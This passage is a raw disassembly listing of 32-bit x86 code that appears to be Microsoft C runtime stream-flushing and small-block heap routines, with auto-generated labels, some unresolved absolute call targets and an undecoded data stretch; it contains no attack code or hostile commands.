sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2680EE8h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26D05B7h test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 28B0000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2670000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24A2218h dd 0A3C08590h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 61E8004Dh dd 9002492Eh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 21BEE890h, 0C085023Ah, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 nop call near ptr 27B0000h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 call near ptr 2860000h nop cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] call near ptr 27C0000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi call near ptr 28C0783h nop cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 nop call near ptr 27B0000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 28C0783h nop test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, 